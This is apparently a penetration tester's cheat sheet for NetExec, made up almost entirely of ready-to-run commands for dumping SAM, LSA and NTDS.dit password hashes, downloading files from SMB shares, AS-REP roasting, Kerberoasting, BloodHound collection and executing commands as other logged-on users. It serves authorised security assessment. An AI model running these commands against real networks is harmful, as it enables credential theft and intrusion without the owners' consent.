NetExec

NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks. It is based on CrackMapExec, which makes the tool familiar to use.

Personally, I think the modules from NetExec make it worth to use the tool.

Welcome | NetExecwww.netexec.wiki

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SMB spidering shares

Spider and export all files from shares:

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True

List all readable files:

nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus

Dumping hashes

Dumping SAM

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dumping LSA

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Dumping from NTDS.dit

nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Bloodhound

If you have creds, you can use nxc to get a zip or .json files for bloodhound

nxc ldap <ip> -u user -p pass --bloodhound -ns <ns-ip> --collection All

AS-REP Roasting

Only one user

nxc ldap 192.168.0.104 -u harry -p '' --asreproast output.txt

List including usernames

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt

Kerberoasting

nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt

SMB logged on users

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users

SMB active sessions

nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

SMB Execute commands on behalf of other users

nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>